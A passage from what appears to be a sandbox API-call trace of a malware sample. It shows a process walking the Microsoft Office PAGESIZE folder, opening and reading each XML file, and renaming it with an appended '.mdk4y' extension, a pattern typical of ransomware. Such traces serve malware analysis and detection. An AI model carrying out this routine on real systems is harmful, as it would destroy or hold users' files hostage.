Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL001.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl001.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0232.649] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830787900000) returned 1 [0232.649] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xfb6, lpOverlapped=0x0) returned 1 [0232.683] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830791300000) returned 1 [0232.683] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830791300000) returned 1 [0232.683] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL001.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl001.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL001.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl001.xml.mdk4y")) returned 1 [0232.687] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.687] AreFileApisANSI () returned 1 [0232.687] GetACP () returned 0x4e4 [0232.687] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL002.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL002.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0232.687] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL002.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl002.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0232.688] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830791800000) returned 1 [0232.689] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0232.763] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830799300000) returned 1 [0232.763] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830799300000) returned 1 [0232.774] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL002.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl002.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL002.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl002.xml.mdk4y")) returned 1 [0232.798] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.798] AreFileApisANSI () returned 1 [0232.798] GetACP () returned 0x4e4 [0232.798] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL010.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL010.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0232.799] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL010.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl010.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0232.800] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830803000000) returned 1 [0232.800] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x33a1a, lpOverlapped=0x0) returned 1 [0232.870] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830810000000) returned 1 [0232.870] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830810000000) returned 1 [0232.873] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL010.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl010.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL010.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl010.xml.mdk4y")) returned 1 [0232.875] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.875] AreFileApisANSI () returned 1 [0232.875] GetACP () returned 0x4e4 [0232.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL011.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL011.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0232.876] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL011.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl011.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0232.877] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830810700000) returned 1 [0232.877] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1390, lpOverlapped=0x0) returned 1 [0232.879] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830810900000) returned 1 [0232.879] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830810900000) returned 1 [0232.879] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL011.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl011.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL011.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl011.xml.mdk4y")) returned 1 [0232.881] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.881] AreFileApisANSI () returned 1 [0232.881] GetACP () returned 0x4e4 [0232.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL012.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL012.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0232.881] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL012.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl012.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0232.883] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830811300000) returned 1 [0232.883] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa5178, lpOverlapped=0x0) returned 1 [0232.959] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830818900000) returned 1 [0232.959] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830818900000) returned 1 [0232.966] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL012.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl012.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL012.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl012.xml.mdk4y")) returned 1 [0232.967] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.967] AreFileApisANSI () returned 1 [0232.967] GetACP () returned 0x4e4 [0232.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL016.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL016.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0232.968] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL016.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl016.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0232.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830819900000) returned 1 [0232.969] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x22cf0, lpOverlapped=0x0) returned 1 [0233.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830824200000) returned 1 [0233.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830824200000) returned 1 [0233.014] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL016.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl016.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL016.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl016.xml.mdk4y")) returned 1 [0233.015] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0233.015] AreFileApisANSI () returned 1 [0233.015] GetACP () returned 0x4e4 [0233.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL020.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL020.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0233.015] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL020.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl020.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0233.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830824700000) returned 1 [0233.017] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x101bc, lpOverlapped=0x0) returned 1 [0233.018] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830824800000) returned 1 [0233.018] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830824800000) returned 1 [0233.019] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL020.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl020.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL020.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl020.xml.mdk4y")) returned 1 [0233.020] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0233.020] AreFileApisANSI () returned 1 [0233.020] GetACP () returned 0x4e4 [0233.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL022.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL022.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0233.020] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL022.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl022.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0233.021] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830825100000) returned 1 [0233.021] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x24c9a, lpOverlapped=0x0) returned 1 [0233.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830832900000) returned 1 [0233.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830832900000) returned 1 [0233.101] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL022.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl022.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL022.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl022.xml.mdk4y")) returned 1 [0233.102] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0233.102] AreFileApisANSI () returned 1 [0233.102] GetACP () returned 0x4e4 [0233.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL026.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL026.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0233.103] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL026.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl026.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0233.104] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830833400000) returned 1 [0233.104] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1f4e6, lpOverlapped=0x0) returned 1 [0233.202] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830843200000) returned 1 [0233.203] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830843200000) returned 1 [0233.204] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL026.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl026.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL026.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl026.xml.mdk4y")) returned 1 [0233.206] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0233.206] AreFileApisANSI () returned 1 [0233.206] GetACP () returned 0x4e4 [0233.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL027.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL027.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0233.206] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL027.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl027.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0233.208] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830843800000) returned 1 [0233.208] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6d7e, lpOverlapped=0x0) returned 1 [0233.227] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830845700000) returned 1 [0233.227] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830845700000) returned 1 [0233.228] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL027.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl027.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL027.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl027.xml.mdk4y")) returned 1 [0233.229] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0233.229] AreFileApisANSI () returned 1 [0233.229] GetACP () returned 0x4e4 [0233.229] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL044.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL044.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0233.229] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL044.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl044.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0233.231] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830846000000) returned 1 [0233.231] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x266a4, lpOverlapped=0x0) returned 1 [0233.268] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830849800000) returned 1 [0233.268] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830849800000) returned 1 [0233.269] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL044.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl044.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL044.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl044.xml.mdk4y")) returned 1 [0233.271] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0233.271] AreFileApisANSI () returned 1 [0233.271] GetACP () returned 0x4e4 [0233.271] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL048.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL048.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0233.271] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL048.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl048.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0233.273] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830850300000) returned 1 [0233.273] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0233.348] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830857800000) returned 1 [0233.348] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830857800000) returned 1 [0233.359] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL048.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl048.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL048.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl048.xml.mdk4y")) returned 1 [0233.360] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0233.360] AreFileApisANSI () returned 1 [0233.360] GetACP () returned 0x4e4 [0233.360] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL054.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL054.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0233.360] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL054.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl054.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0233.362] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830859200000) returned 1 [0233.362] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x59f76, lpOverlapped=0x0) returned 1 [0233.385] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830861500000) returned 1 [0233.385] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830861500000) returned 1 [0233.390] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL054.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl054.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL054.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl054.xml.mdk4y")) returned 1 [0233.392] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0233.392] AreFileApisANSI () returned 1 [0233.392] GetACP () returned 0x4e4 [0233.392] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL058.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL058.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0233.392] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL058.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl058.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0233.393] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830862300000) returned 1 [0233.393] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x26c44, lpOverlapped=0x0) returned 1 [0233.409] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830863900000) returned 1 [0233.409] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830863900000) returned 1 [0233.413] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL058.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl058.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL058.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl058.xml.mdk4y")) returned 1 [0233.415] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0233.415] AreFileApisANSI () returned 1 [0233.415] GetACP () returned 0x4e4 [0233.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL065.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL065.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0233.415] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL065.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl065.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0233.416] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830864600000) returned 1 [0233.416] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, 